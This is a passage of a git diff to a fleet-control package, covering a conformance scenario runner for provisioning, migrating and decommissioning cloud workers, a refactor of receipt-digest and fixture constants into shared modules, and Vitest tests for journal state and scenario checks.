+ sourceInvocationOrdinal: journal.snapshot().invocationCount, + }); + requireFact( + state.proofs.exportVerifications.length < + DIRECT_SCENARIO_ARRAY_MAXIMA.exportVerifications, + 'proof-unavailable', + ); + state.proofs.exports[role] = verified; + state.proofs.exportVerifications.push(verified); + await persist(); + } else requireFact(!state.proofs.exports[role]); + result = await invoke({ kind: 'decommission-continue', role }, true); + requireFact(result.status !== 'blocked', 'blocked'); + requireFact(result.status === 'pending' || result.status === 'complete'); + } + const terminal = result.result.record; + const proof = state.proofs.exports[role]; + requireFact(proof); + equal(terminal.phase, 'decommissioned'); + equal(terminal.databaseId, proof.receipt.databaseId); + equal(terminal.scriptName, prepared.names.roles[role].scriptName); + equal(terminal.decommissionIntent.operationId, proof.receipt.operationId); + equal(terminal.decommissionIntent.state, 'complete'); + equal(result.result.databaseExport, { + databaseId: proof.receipt.databaseId, + location: proof.location, + size: proof.size, + sha256: proof.sha256, + }); + state.proofs.decommission[role] = { + operationId: proof.receipt.operationId, + databaseId: terminal.databaseId, + scriptName: terminal.scriptName, + phase: terminal.phase, + }; + await persist(); + await advancePhase(); + }; + const checkFootprint = (value, retained) => { + const resource = state.proofs.initial.recovery; + equal(value.version, 1); + equal(value.role, 'recovery'); + equal(value.fleetRecordPresent, false); + equal(value.deploymentClaimsPresent, false); + equal(value.database, { + id: resource.databaseId, + expectedName: prepared.names.roles.recovery.databaseName, + observedName: null, + }); + const worker = value.worker; + equal(worker.scriptName, resource.scriptName); + equal(worker.scriptPresent, retained); + requireFact( + worker.workersDevEnabled === false || + (!retained && worker.workersDevEnabled === null), + ); + requireFact( + worker.previewUrlsEnabled === false || + (!retained && worker.previewUrlsEnabled === null), + ); + for (const key of ['customDomains', 'zoneRoutes', 'currentSecretNames']) + equal(worker[key], []); + const namespaces = resource.namespaces + .map((entry) => entry.namespaceId) + .sort(); + equal(worker.currentNamespaceIds, retained ? namespaces : []); + equal(worker.survivingRecordedNamespaceIds, retained ? namespaces : []); + if (retained) + requireFact( + worker.currentVersionIds.includes(resource.versionId) && + worker.currentVersionIds.length <= + DIRECT_SCENARIO_ARRAY_MAXIMA.footprintVersionIds, + ); + else + requireFact( + worker.currentVersionIds === null || + worker.currentVersionIds.length === 0, + ); + equal(value.buckets, [ + { + bindingName: 'PROBE_BUCKET', + bucketName: resource.bucket.name, + jurisdiction: 'default', + expectedCreationDate: resource.bucket.creationDate, + observedCreationDate: retained ? resource.bucket.creationDate : null, + }, + ]); + equal(value.priorCleanup.operationId, state.proofs.cleanup.operationId); + equal(value.priorCleanup.matchesBefore, true); + equal( + value.priorCleanup.observedReceiptSha256, + directCleanupReceiptDigest(state.proofs.cleanup), + ); + requireFact( + /^[a-f0-9]{64}$/u.test(value.priorCleanup.observedReceiptSha256), + ); + if (!retained) { + equal( + value.beforeIdentitySha256, + state.proofs.force.beforeIdentitySha256, + ); + equal(value.priorCleanup, state.proofs.force.priorCleanup); + } + return value; + }; + try { + requireFact( + journal && + typeof journal === 'object' && + invocation && + !busy.has(journal), + 'invalid-input', + ); + busy.add(journal); + acquired = true; + const snapshot = journal.snapshot(); + requireFact( + snapshot.lastInvocation?.state !== 'pending' && + !snapshot.bootstrap?.pending, + 'outcome-unknown', + ); + requireFact( + snapshot.bootstrap?.controlReadOrdinal && + snapshot.binding.configSha256 === prepared.configSha256 && + snapshot.binding.referenceModuleSetSha256 === + prepared.referenceModuleSetSha256 && + snapshot.binding.maxInvocations === + prepared.config.referenceWorker.maxInvocations, + 'invalid-input', + ); + state = structuredClone( + snapshot.scenario ?? initialState(snapshot.invocationCount), + ); + if (state.failure) requireFact(false, state.failure.code); + if ( + state.lastCall?.outcome === 'prepared' || + state.mutation?.outcome === 'prepared' + ) + requireFact(false, 'proof-unavailable'); + requireFact( + snapshot.binding.maxInvocations >= DIRECT_SCENARIO_MIN_INVOCATIONS, + 'budget-exhausted', + 'below-scenario-floor', + ); + await persist(); + if (state.phase === 'migration-restart') { + const currentProcess = await processIdentity(); + if (isDeepStrictEqual(currentProcess, state.proofs.restart.process)) + return { status: 'restart-required' }; + } + await sync(); + for (;;) { + switch (state.phase) { + case 'provision-a': + await provision('a'); + break; + case 'provision-b': + await provision('b'); + break; + case 'inventory-before': + await inventory('before'); + break; + case 'inventory-after': + await inventory('after'); + break; + case 'audit-before': + await audit('before'); + break; + case 'audit-after': + await audit('after'); + break; + case 'migration-start': { + await sync(); + if (!migrationStartSettled(control, state.mutation)) { + const result = await invoke({ kind: 'migration-start' }, true); + equal(result.status, 'pending'); + } + await advancePhase(); + break; + } + case 'migration-interrupt': { + await sync(); + if (!migrationInterruptSettled(control, state.mutation)) { + try { + await invoke({ kind: 'migration-continue' }, true); + requireFact(false, 'proof-unavailable'); + } catch (error) { + if (!(error instanceof DirectInvocationError)) throw error; + requireFact(error.code === 'injected-response-loss', error.code); + } + await sync(); + } + if (!state.proofs.restart) { + const lossOrdinal = state.mutation.ordinal; + const witness = await interruption(); + state.proofs.restart = { + process: await processIdentity(), + resumedProcess: null, + lossOrdinal, + operationId: witness.value.operationId, + witnessSha256: hash(control.interruption), + claimSha256: hash(witness.value.claimJson), + successorSha256: hash(witness.value.returnedTokenJson), + itemsSha256: jsonHash(witness.current), + replayOrdinal: null, + }; + await persist(); + } + await advancePhase(); + return { status: 'restart-required' }; + } + case 'migration-restart': { + const restart = state.proofs.restart; + const currentProcess = await processIdentity(); + requireFact( + !isDeepStrictEqual(currentProcess, restart.process), + 'proof-unavailable', + ); + await sync(); + equal(hash(control.interruption), restart.witnessSha256); + const witness = await interruption(); + equal(hash(witness.value.claimJson), restart.claimSha256); + equal(hash(witness.value.returnedTokenJson), restart.successorSha256); + equal(jsonHash(witness.current), restart.itemsSha256); + if (restart.replayOrdinal === null) { + const replay = await invoke( + { kind: 'migration-continue', token: witness.claim }, + true, + ); + const replayOrdinal = state.mutation.ordinal; + equal(state.mutation.attempts, zeroAttempts()); + equal(replay.token, witness.successor); + equal(replay.status, 'pending'); + equal(replay.itemOrdinal, 0); + equal(replay.planCursor, 0); + equal(await items(), witness.current); + await sync(); + equal(hash(control.interruption), restart.witnessSha256); + state.proofs.restart = { + ...restart, + resumedProcess: currentProcess, + replayOrdinal, + }; + await persist(); + } + await advancePhase(); + break; + } + case 'migration': + await migration(); + break; + case 'post-migration': + for (const role of NORMAL_ROLES) { + await health(role, '2', 'next'); + equal(await objectRead(role, true), state.proofs.objects[role]); + } + await advancePhase(); + break; + case 'failed-recovery': { + await sync(); + if (!slot('cleanup-recovery')) { + const failed = await mutate({ + kind: 'provision', + role: 'recovery', + release: 'failed-recovery', + }); + equal(failed.status, 'failed-provision'); + equal(failed.slot, 'cleanup-recovery'); + } else + requireFact( + slot('cleanup-recovery').tokenJson, + 'proof-unavailable', + ); + await advancePhase(); + break; + } + case 'cleanup-recovery': { + let result = await mutate({ + kind: 'cleanup-continue', + role: 'recovery', + }); + while (result.status === 'pending') + result = await mutate({ + kind: 'cleanup-continue', + role: 'recovery', + token: result.token, + }); + requireFact(result.status !== 'blocked', 'blocked'); + equal(result.status, 'complete'); + const historical = await invoke({ + kind: 'cleanup-receipt', + role: 'recovery', + }); + equal(historical.slot, 'cleanup-recovery'); + equal(historical.receipt, result.receipt); + state.proofs.cleanup = historical.receipt; + await persist(); + await advancePhase(); + break; + } + case 'provision-recovery': + await provision('recovery'); + break; + case 'delete-objects': + for (const role of NORMAL_ROLES) { + if (state.proofs.objectDeletions[role] !== null) continue; + const result = await mutate({ + kind: 'tenant-probe', + role, + operation: 'object-delete', + }); + equal(result, { role, operation: 'object-delete', returned: true }); + await objectRead(role, false); + state.proofs.objectDeletions[role] = + journal.snapshot().invocationCount; + await persist(); + } + await advancePhase(); + break; + case 'decommission-a': + await decommission('a'); + break; + case 'decommission-b': + await decommission('b'); + break; + case 'force-recovery': { + await sync(); + if (control.forceBefore) { + requireFact( + state.mutation?.action.kind === 'force-recovery' && + state.mutation.outcome === 'returned', + 'proof-unavailable', + ); + } else { + await objectRead('recovery', false); + const metadata = await invoke({ + kind: 'decommission-export', + role: 'recovery', + }); + equal(metadata, { + available: false, + role: 'recovery', + lifecyclePhase: 'not-started', + }); + if (state.proofs.recoveryExportAbsent.beforeOrdinal === null) { + state.proofs.recoveryExportAbsent.beforeOrdinal = + journal.snapshot().invocationCount; + await persist(); + } + } + const result = await mutate({ kind: 'force-recovery' }); + requireFact(result.returned === true); + await advancePhase(); + break; + } + case 'force-observe': { + const result = await invoke({ kind: 'force-observe' }); + state.proofs.force = checkFootprint(result.observation, true); + await persist(); + const metadata = await invoke({ + kind: 'decommission-export', + role: 'recovery', + }); + equal(metadata, { + available: false, + role: 'recovery', + lifecyclePhase: 'not-started', + }); + if (state.proofs.recoveryExportAbsent.afterOrdinal === null) + state.proofs.recoveryExportAbsent.afterOrdinal = + journal.snapshot().invocationCount; + await persist(); + await advancePhase(); + break; + } + case 'recover-force-residual': { + const result = await mutate({ kind: 'recover-force-residual' }); + requireFact(result.returned === true); + state.proofs.residual = checkFootprint(result.observation, false); + await persist(); + await advancePhase(); + break; + } + case 'complete': + requireFact( + state.proofs.restart?.replayOrdinal && + state.proofs.effects.length === 2 && + state.proofs.decommission.a && + state.proofs.decommission.b && + state.proofs.force && + state.proofs.residual, + ); + await sync(); + return { + status: 'complete', + facts: journal.snapshot().scenario.proofs, + invocationCount: journal.snapshot().invocationCount, + attempts: journal.snapshot().scenario.attempts, + sdkRequests: journal.snapshot().scenario.sdkRequests, + }; + default: + requireFact(false, 'invalid-input'); + } + } + } catch (error) { + const observed = failureCodes.has(error?.code) + ? error.code + : 'observation-mismatch'; + let code = observed; + const snapshot = acquired ? journal.snapshot() : null; + if ( + state && + snapshot && + snapshot.lastInvocation?.state !== 'pending' && + !snapshot.bootstrap?.pending + ) { + state.failure = { code: observed, ordinal: snapshot.invocationCount }; + try { + await persist(); + } catch (unwritable) { + if (!(unwritable instanceof DirectRunStateError)) throw unwritable; + code = 'journal-failed'; + } + } + return { + status: 'failed', + reason: code, + phase: state?.phase ?? null, + invocationCount: snapshot?.invocationCount ?? 0, + }; + } finally { + if (acquired) busy.delete(journal); + } +} diff --git a/packages/fleet-control/scripts/direct-credentialed-tenant-object.d.mts b/packages/fleet-control/scripts/direct-credentialed-tenant-object.d.mts new file mode 100644 index 00000000..6fbf4cb1 --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-tenant-object.d.mts @@ -0,0 +1,4 @@ +// SPDX-License-Identifier: Apache-2.0 + +export const DIRECT_TENANT_OBJECT_KEY: 'direct-conformance-fixture'; +export const DIRECT_TENANT_OBJECT_BODY: 'direct-conformance-fixture-data'; diff --git a/packages/fleet-control/scripts/direct-credentialed-tenant-object.mjs b/packages/fleet-control/scripts/direct-credentialed-tenant-object.mjs new file mode 100644 index 00000000..7cde63c9 --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-tenant-object.mjs @@ -0,0 +1,4 @@ +// SPDX-License-Identifier: Apache-2.0 + +export const DIRECT_TENANT_OBJECT_KEY = 'direct-conformance-fixture'; +export const DIRECT_TENANT_OBJECT_BODY = 'direct-conformance-fixture-data'; diff --git a/packages/fleet-control/scripts/direct-credentialed-tenant.ts b/packages/fleet-control/scripts/direct-credentialed-tenant.ts index 9329b54a..a1744572 100644 --- a/packages/fleet-control/scripts/direct-credentialed-tenant.ts +++ b/packages/fleet-control/scripts/direct-credentialed-tenant.ts @@ -20,6 +20,10 @@ import { type FlowsafeWorkerEnv, staticTokenVerifier, } from '@proofoftech/flowsafe/host-kit'; +import { + DIRECT_TENANT_OBJECT_BODY, + DIRECT_TENANT_OBJECT_KEY, +} from './direct-credentialed-tenant-object.mjs'; export interface DirectTenantEnv extends FlowsafeWorkerEnv { DB: D1Database; @@ -30,9 +34,6 @@ export interface DirectTenantEnv extends FlowsafeWorkerEnv { PROBE_BUCKET: R2Bucket; } -const OBJECT_KEY = 'direct-conformance-fixture'; -const OBJECT_BODY = 'direct-conformance-fixture-data'; - const config: FlowsafeWorkerConfig = { workflows: [], systemPrincipalId: 'direct-conformance', @@ -65,17 +66,23 @@ const config: FlowsafeWorkerConfig = { } if (path === '/__direct/object') { if (request.method === 'POST') { - await env.PROBE_BUCKET.put(OBJECT_KEY, OBJECT_BODY); + await env.PROBE_BUCKET.put( + DIRECT_TENANT_OBJECT_KEY, + DIRECT_TENANT_OBJECT_BODY, + ); return new Response(null, { status: 204 }); } if (request.method === 'DELETE') { - await env.PROBE_BUCKET.delete(OBJECT_KEY); + await env.PROBE_BUCKET.delete(DIRECT_TENANT_OBJECT_KEY); return new Response(null, { status: 204 }); } if (request.method === 'GET') { - const object = await env.PROBE_BUCKET.get(OBJECT_KEY); + const object = await env.PROBE_BUCKET.get(DIRECT_TENANT_OBJECT_KEY); if (!object) return Response.json({ present: false }); - if (object.size !== new TextEncoder().encode(OBJECT_BODY).byteLength) + if ( + object.size !== + new TextEncoder().encode(DIRECT_TENANT_OBJECT_BODY).byteLength + ) return new Response('Unexpected fixture object', { status: 409 }); const digest = await crypto.subtle.digest( 'SHA-256', diff --git a/packages/fleet-control/scripts/direct-reference-force.ts b/packages/fleet-control/scripts/direct-reference-force.ts index d48a2c74..48a78cb2 100644 --- a/packages/fleet-control/scripts/direct-reference-force.ts +++ b/packages/fleet-control/scripts/direct-reference-force.ts @@ -1,6 +1,5 @@ // SPDX-License-Identifier: Apache-2.0 -import { createHash } from 'node:crypto'; import { type ApplicationR2Binding, type CleanupTerminalReceipt, @@ -26,6 +25,7 @@ import { directResourceObservation, recordDirectResource, } from './direct-reference-observations.js'; +import { directCleanupReceiptDigest } from './direct-reference-receipt.mjs'; function object(value: unknown): Record { if (!value || typeof value !== 'object' || Array.isArray(value)) @@ -163,39 +163,7 @@ function fulfilled(result: PromiseSettledResult): T { function receiptDigest(receipt: CleanupTerminalReceipt): string { if (!Number.isSafeInteger(receipt.completedAtMs)) throw new DirectReferenceJournalError(); - const evidence = receipt.evidence; - return createHash('sha256') - .update( - JSON.stringify([ - receipt.version, - receipt.operationId, - receipt.tenantTag, - receipt.environment, - receipt.backend, - receipt.scriptName, - receipt.databaseId, - receipt.databaseName, - receipt.authority, - receipt.admittedPhase, - receipt.disposition, - evidence.eligibility, - evidence.ingressRemoved, - evidence.workerAbsent, - evidence.platformResourcesAbsent, - evidence.applicationR2Settled, - evidence.databaseAbsentReadback, - evidence.scan - ? [ - evidence.scan.discover.evidenceSha256, - evidence.scan.discover.evidenceCount, - evidence.scan.verify.evidenceSha256, - evidence.scan.verify.evidenceCount, - ] - : null, - receipt.completedAtMs, - ]), - ) - .digest('hex'); + return directCleanupReceiptDigest(receipt); } async function beforeIdentity( diff --git a/packages/fleet-control/scripts/direct-reference-receipt.d.mts b/packages/fleet-control/scripts/direct-reference-receipt.d.mts new file mode 100644 index 00000000..a79fc45d --- /dev/null +++ b/packages/fleet-control/scripts/direct-reference-receipt.d.mts @@ -0,0 +1,11 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { CleanupTerminalReceipt } from '@proofoftech/fleet-control'; + +export function directCleanupReceiptPreimage( + receipt: CleanupTerminalReceipt, +): readonly unknown[]; + +export function directCleanupReceiptDigest( + receipt: CleanupTerminalReceipt, +): string; diff --git a/packages/fleet-control/scripts/direct-reference-receipt.mjs b/packages/fleet-control/scripts/direct-reference-receipt.mjs new file mode 100644 index 00000000..1a39d62c --- /dev/null +++ b/packages/fleet-control/scripts/direct-reference-receipt.mjs @@ -0,0 +1,41 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; + +export function directCleanupReceiptPreimage(receipt) { + const evidence = receipt.evidence; + return [ + receipt.version, + receipt.operationId, + receipt.tenantTag, + receipt.environment, + receipt.backend, + receipt.scriptName, + receipt.databaseId, + receipt.databaseName, + receipt.authority, + receipt.admittedPhase, + receipt.disposition, + evidence.eligibility, + evidence.ingressRemoved, + evidence.workerAbsent, + evidence.platformResourcesAbsent, + evidence.applicationR2Settled, + evidence.databaseAbsentReadback, + evidence.scan + ? [ + evidence.scan.discover.evidenceSha256, + evidence.scan.discover.evidenceCount, + evidence.scan.verify.evidenceSha256, + evidence.scan.verify.evidenceCount, + ] + : null, + receipt.completedAtMs, + ]; +} + +export function directCleanupReceiptDigest(receipt) { + return createHash('sha256') + .update(JSON.stringify(directCleanupReceiptPreimage(receipt))) + .digest('hex'); +} diff --git a/packages/fleet-control/test/direct-credentialed-run-state.test.ts b/packages/fleet-control/test/direct-credentialed-run-state.test.ts index 039d74b5..3180664f 100644 --- a/packages/fleet-control/test/direct-credentialed-run-state.test.ts +++ b/packages/fleet-control/test/direct-credentialed-run-state.test.ts @@ -1,191 +1,65 @@ // SPDX-License-Identifier: Apache-2.0 import { spawn } from 'node:child_process'; -import { createHash } from 'node:crypto'; import { chmod, link, mkdir, - mkdtemp, open, readdir, readFile, rename, - rm, stat, symlink, unlink, writeFile, } from 'node:fs/promises'; -import { tmpdir } from 'node:os'; import { join } from 'node:path'; import { afterEach, describe, expect, it, vi } from 'vitest'; -import { preflightDirectConformance } from '../scripts/direct-credentialed-conformance-preflight.mjs'; import { - type DirectBootstrapContext, + DIRECT_RUN_MAX_JOURNAL_BYTES, type DirectBootstrapMutationReceipt, type DirectRunJournal, openDirectRunState, } from '../scripts/direct-credentialed-run-state.mjs'; +import { + auditProof, + bootstrapContext, + cleanupDirectRunState, + closed, + confirmedBootstrap, + DIGEST, + first, + fixture, + hash, + inventoryProof, + journals, + type MutableScenario, + maximalScenario, + opened, + PROCESS, + present, + RESUMED, + receipts, + scenarioJournal, + scenarioWith, +} from './fixtures/direct-run-state-builder.js'; vi.mock('node:fs/promises', async (importOriginal) => { const actual = await importOriginal(); return { ...actual, rename: vi.fn(actual.rename) }; }); -const directories: string[] = []; -const journals = new Set(); -const hash = (value: string) => - createHash('sha256').update(value).digest('hex'); const CLAIM = 'opaque-claim-must-not-enter-local-state'; -async function fixture(limit = 3) { - const directory = await mkdtemp(join(tmpdir(), 'direct-run-state-')); - directories.push(directory); - const config = JSON.parse( - await readFile( - new URL( - '../scripts/direct-credentialed-conformance.example.json', - import.meta.url, - ), - 'utf8', - ), - ); - const reference = - "import manifest from './direct-run-manifest.js'; export default {fetch(){return Response.json(manifest.contractVersion)}};"; - const tenant = - 'export class Maintenance {} export class Runner {} export default {};'; - config.referenceWorker.artifact = { - bundle: './reference.mjs', - mainModule: 'worker.js', - sha256: hash(reference), - }; - config.referenceWorker.maxInvocations = limit; - config.deployment.artifact = { - bundle: './tenant.mjs', - mainModule: 'worker.js', - sha256: hash(tenant), - }; - const configPath = join(directory, 'config.json'); - await writeFile(configPath, JSON.stringify(config)); - await writeFile(join(directory, 'reference.mjs'), reference); - await writeFile(join(directory, 'tenant.mjs'), tenant); - const prepared = await preflightDirectConformance({ - configPath, - now: Date.parse('2026-09-10T12:00:00Z'), - }); - const base = join(directory, '.direct-conformance'); - const runDirectory = join(base, config.resourcePrefix); - const lockPath = join(base, `${config.resourcePrefix}.lock`); - const input = { configPath, prepared, accountId: 'account' }; - const request = (action: unknown = { kind: 'control-read' }) => - JSON.stringify({ - contractVersion: 1, - configSha256: prepared.configSha256, - action, - }); - return { - directory, - configPath, - prepared, - base, - runDirectory, - lockPath, - input, - request, - }; -} - -async function opened(input: Parameters[0]) { - const journal = await openDirectRunState(input); - journals.add(journal); - return journal; -} - -async function closed(journal: DirectRunJournal) { - await journal.close(); - journals.delete(journal); -} - afterEach(async () => { vi.restoreAllMocks(); - try { - await Promise.all([...journals].map((journal) => journal.close())); - } finally { - journals.clear(); - await Promise.all( - directories - .splice(0) - .map((directory) => rm(directory, { recursive: true, force: true })), - ); - } + await cleanupDirectRunState(); }); const describeLinux = process.platform === 'linux' ? describe.sequential : describe.skip; -function bootstrapContext( - f: Awaited>, -): DirectBootstrapContext { - return { - names: f.prepared.names, - zoneId: 'zone', - zoneName: 'example.test', - accountWorkersDevSubdomain: 'attested-account', - dispatch: { kind: 'empty', count: 0 }, - }; -} - -function receipts(f: Awaited>) { - return [ - { - kind: 'create-fleet-d1', - receipt: { uuid: 'fleet-uuid', name: f.prepared.names.fleetDatabase }, - }, - { - kind: 'create-quota-d1', - receipt: { uuid: 'quota-uuid', name: f.prepared.names.quotaDatabase }, - }, - { - kind: 'create-export-r2', - receipt: { - name: f.prepared.names.exportBucket, - jurisdiction: 'default', - creationDate: '2026-09-10T00:00:00.000Z', - }, - }, - { - kind: 'upload-reference', - receipt: { - scriptName: f.prepared.names.referenceWorker, - tag: null, - etag: null, - }, - }, - { - kind: 'enable-reference-ingress', - receipt: { enabled: true, previewsEnabled: false }, - }, - ] as const satisfies readonly DirectBootstrapMutationReceipt[]; -} - -async function confirmedBootstrap( - f: Awaited>, - journal: DirectRunJournal, -) { - await journal.bindBootstrapContext(bootstrapContext(f)); - for (const value of receipts(f)) { - if (value.kind === 'enable-reference-ingress') - await journal.recordBootstrapObservation({ - kind: 'active', - deploymentId: 'deployment', - versionId: 'version', - }); - await journal.beginBootstrapMutation(value.kind); - await journal.confirmBootstrapMutation(value); - } -} - describeLinux('durable bootstrap state', () => { it('enforces mutation order, exact receipt association and exclusive invocation/provider pending state', async () => { const f = await fixture(); @@ -1013,3 +887,227 @@ process.stdout.write(JSON.stringify({ready:true})+'\\n');setInterval(()=>journal } }, 30_000); }); + +const refuses = (journal: DirectRunJournal, state: MutableScenario) => + expect(journal.recordScenario(state)).rejects.toMatchObject({ + code: 'invalid-state', + }); + +describeLinux('durable scenario state', () => { + it('publishes a scenario sitting on every declared maximum inside the journal byte bound', async () => { + const { f, journal } = await scenarioJournal(); + await journal.recordScenario(maximalScenario()); + const serialized = await readFile( + join(f.runDirectory, 'journal.json'), + 'utf8', + ); + expect(Buffer.byteLength(serialized)).toBeLessThan( + DIRECT_RUN_MAX_JOURNAL_BYTES / 2, + ); + expect(journal.snapshot().scenario?.proofs.cleanup?.evidence.scan).toEqual({ + discover: { evidenceSha256: DIGEST, evidenceCount: 1 }, + verify: { evidenceSha256: DIGEST, evidenceCount: 1 }, + }); + }); + + it('refuses a stored journal larger than the byte bound before parsing it', async () => { + const { f, journal } = await scenarioJournal(); + await journal.recordScenario(maximalScenario()); + const path = join(f.runDirectory, 'journal.json'); + const serialized = await readFile(path, 'utf8'); + await closed(journal); + await writeFile( + path, + serialized.padEnd(DIRECT_RUN_MAX_JOURNAL_BYTES + 1, ' '), + ); + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + }); + + it('refuses ordinals the durable invocation count cannot account for', async () => { + const { journal } = await scenarioJournal(); + for (const mutate of [ + (state: MutableScenario) => { + state.startedOrdinal = 4; + }, + (state: MutableScenario) => { + state.callCount = 4; + }, + (state: MutableScenario) => { + state.callCount = 2; + }, + (state: MutableScenario) => { + state.reconciledOrdinal = 4; + }, + (state: MutableScenario) => { + state.phaseCalls['provision-a'] = 2; + }, + (state: MutableScenario) => { + present(state.lastCall).ordinal = 4; + }, + (state: MutableScenario) => { + present(state.lastCall).attempts = null; + }, + (state: MutableScenario) => { + present(state.proofs.exports.a).sourceInvocationOrdinal = 4; + }, + (state: MutableScenario) => { + first(state.proofs.health).ordinal = 4; + }, + (state: MutableScenario) => { + present(state.proofs.restart).replayOrdinal = 1; + }, + ]) + await refuses(journal, scenarioWith(mutate)); + await journal.recordScenario(maximalScenario()); + }); + + it('refuses a restart proof whose resumed process is the process that recorded the loss', async () => { + const { journal } = await scenarioJournal(); + await refuses( + journal, + scenarioWith((state) => { + present(state.proofs.restart).resumedProcess = { ...PROCESS }; + }), + ); + await journal.recordScenario(maximalScenario()); + }); + + it('refuses duplicate operation slots and duplicate record roles', async () => { + const { journal } = await scenarioJournal(); + await refuses( + journal, + scenarioWith((state) => { + state.operations = [first(state.operations), first(state.operations)]; + }), + ); + await refuses( + journal, + scenarioWith((state) => { + state.records = [first(state.records), first(state.records)]; + }), + ); + }); + + it('refuses a later phase whose implied proofs are absent', async () => { + const { journal } = await scenarioJournal(); + await refuses( + journal, + scenarioWith((state) => { + state.phase = 'provision-b'; + state.proofs.initial.a = null; + }), + ); + await refuses( + journal, + scenarioWith((state) => { + state.phase = 'provision-b'; + state.proofs.objects.a = null; + }), + ); + await refuses( + journal, + scenarioWith((state) => { + state.phase = 'provision-b'; + state.proofs.health = state.proofs.health.filter( + (entry) => entry.role !== 'a' || entry.release !== '1', + ); + }), + ); + }); + + it('refuses arrays longer than the schema maximum', async () => { + const { journal } = await scenarioJournal(); + for (const mutate of [ + (state: MutableScenario) => { + state.proofs.health.push(first(state.proofs.health)); + }, + (state: MutableScenario) => { + state.proofs.steps.push(first(state.proofs.steps)); + }, + (state: MutableScenario) => { + state.proofs.effects.push(first(state.proofs.effects)); + }, + (state: MutableScenario) => { + state.proofs.exportVerifications.push( + first(state.proofs.exportVerifications), + ); + }, + (state: MutableScenario) => { + present(state.proofs.audits.before).findings.push( + first(auditProof().findings), + ); + }, + (state: MutableScenario) => { + present(state.proofs.inventories.before).findings.push( + first(inventoryProof().findings), + ); + }, + (state: MutableScenario) => { + state.operations.push({ + ...first(state.operations), + slot: 'decommission-recovery' as MutableScenario['operations'][number]['slot'], + }); + }, + ]) + await refuses(journal, scenarioWith(mutate)); + }); + + it('refuses a phase regression, a phase skip and a weakened proof after publication', async () => { + const { journal } = await scenarioJournal(); + await journal.recordScenario(maximalScenario()); + await refuses( + journal, + scenarioWith((state) => { + state.phase = 'inventory-before'; + }), + ); + await journal.recordScenario( + scenarioWith((state) => { + state.phase = 'provision-b'; + }), + ); + await refuses(journal, maximalScenario()); + for (const mutate of [ + (state: MutableScenario) => { + state.startedOrdinal = 1; + }, + (state: MutableScenario) => { + state.attempts.provider = 0; + }, + (state: MutableScenario) => { + state.sdkRequests = 3; + }, + (state: MutableScenario) => { + state.phaseCalls['provision-a'] = 2; + state.phaseCalls['provision-b'] = 1; + }, + (state: MutableScenario) => { + state.proofs.steps.pop(); + }, + (state: MutableScenario) => { + first(state.proofs.steps).beforeCursor = 5; + }, + (state: MutableScenario) => { + state.proofs.objects.a = { size: 30, sha256: DIGEST }; + }, + (state: MutableScenario) => { + present(state.proofs.exports.a).sourceInvocationOrdinal = 0; + }, + (state: MutableScenario) => { + present(state.proofs.restart).resumedProcess = { ...RESUMED, pid: 3 }; + }, + (state: MutableScenario) => { + present(state.failure).code = 'proof-unavailable'; + }, + ]) + await refuses( + journal, + scenarioWith((state) => { + state.phase = 'provision-b'; + mutate(state); + }), + ); + }); +}); diff --git a/packages/fleet-control/test/direct-credentialed-scenario-checks.test.ts b/packages/fleet-control/test/direct-credentialed-scenario-checks.test.ts new file mode 100644 index 00000000..752d6440 --- /dev/null +++ b/packages/fleet-control/test/direct-credentialed-scenario-checks.test.ts @@ -0,0 +1,528 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { readFile } from 'node:fs/promises'; +import { describe, expect, it } from 'vitest'; +import type { DirectWorkerVersionObservation } from '../scripts/direct-credentialed-observations.mjs'; +import { + DIRECT_SCENARIO_INVOCATION_BUDGET, + DIRECT_SCENARIO_MIN_INVOCATIONS, + DIRECT_SCENARIO_PHASES, +} from '../scripts/direct-credentialed-scenario-budget.mjs'; +import { + changedBy, + checkInvocationHeadroom, + checkItemConvergence, + checkTrafficDistribution, + type DirectScenarioPhase, + equal, + expectedVersion, + hash, + jsonHash, + migrationInterruptSettled, + migrationStartSettled, + NORMAL_ROLES, + operationFacts, + parse, + phaseInvocationReserve, + recordFacts, + requireFact, + SCENARIO_ROLES, + zeroAttempts, +} from '../scripts/direct-credentialed-scenario-checks.mjs'; + +function refusal(action: () => unknown): string { + try { + action(); + } catch (error) { + return (error as { code?: string }).code ?? 'uncoded'; + } + return 'accepted'; +} + +function cause(action: () => unknown): Readonly<{ + code?: string; + detail?: string; +}> { + try { + action(); + } catch (error) { + const { code, detail } = error as { code?: string; detail?: string }; + return { code, detail }; + } + return { code: 'accepted' }; +} + +function observation( + versionId: string, + trafficPercentage: number, + versions: readonly { versionId: string; percentage: number }[], + activeVersionId = versionId, +): DirectWorkerVersionObservation { + return { + role: 'a', + versionId, + databaseId: 'database', + specDigest: 'a'.repeat(64), + applicationRelease: '1', + accountId: 'account', + tenantTag: 'tenant', + environment: 'production', + scriptName: 'script', + currentDeployment: { + deploymentId: 'deployment', + activeVersionId, + versions, + }, + trafficPercentage, + cpuLimitMs: 50, + subrequestLimit: 50, + schemaVersion: 2, + namespaces: [], + bucket: { + name: 'bucket', + jurisdiction: 'default', + creationDate: '2026-09-10T00:00:00.000Z', + }, + }; +} + +const item = (ordinal: number, status: string, planCursor = 0) => ({ + ordinal, + status, + planCursor, +}); + +describe('scenario fact helpers', () => { + it('reports the refusal code the caller supplied and defaults to an observation mismatch', () => { + expect(refusal(() => requireFact(true))).toBe('accepted'); + expect(refusal(() => requireFact(false, 'proof-unavailable'))).toBe( + 'proof-unavailable', + ); + expect(refusal(() => requireFact(false))).toBe('observation-mismatch'); + expect(refusal(() => equal({ a: 1 }, { a: 1 }))).toBe('accepted'); + expect(refusal(() => equal({ a: 1 }, { a: 2 }))).toBe( + 'observation-mismatch', + ); + expect(refusal(() => parse(42))).toBe('observation-mismatch'); + expect(parse('{"a":1}')).toEqual({ a: 1 }); + }); + + it('derives digests and the zero attempt triple', () => { + expect(hash('value')).toBe( + createHash('sha256').update('value').digest('hex'), + ); + expect(jsonHash({ a: 1 })).toBe(hash(JSON.stringify({ a: 1 }))); + expect(zeroAttempts()).toEqual({ + provider: 0, + maintenance: 0, + application: 0, + }); + expect([...NORMAL_ROLES]).toEqual(['a', 'b']); + expect([...SCENARIO_ROLES]).toEqual(['a', 'b', 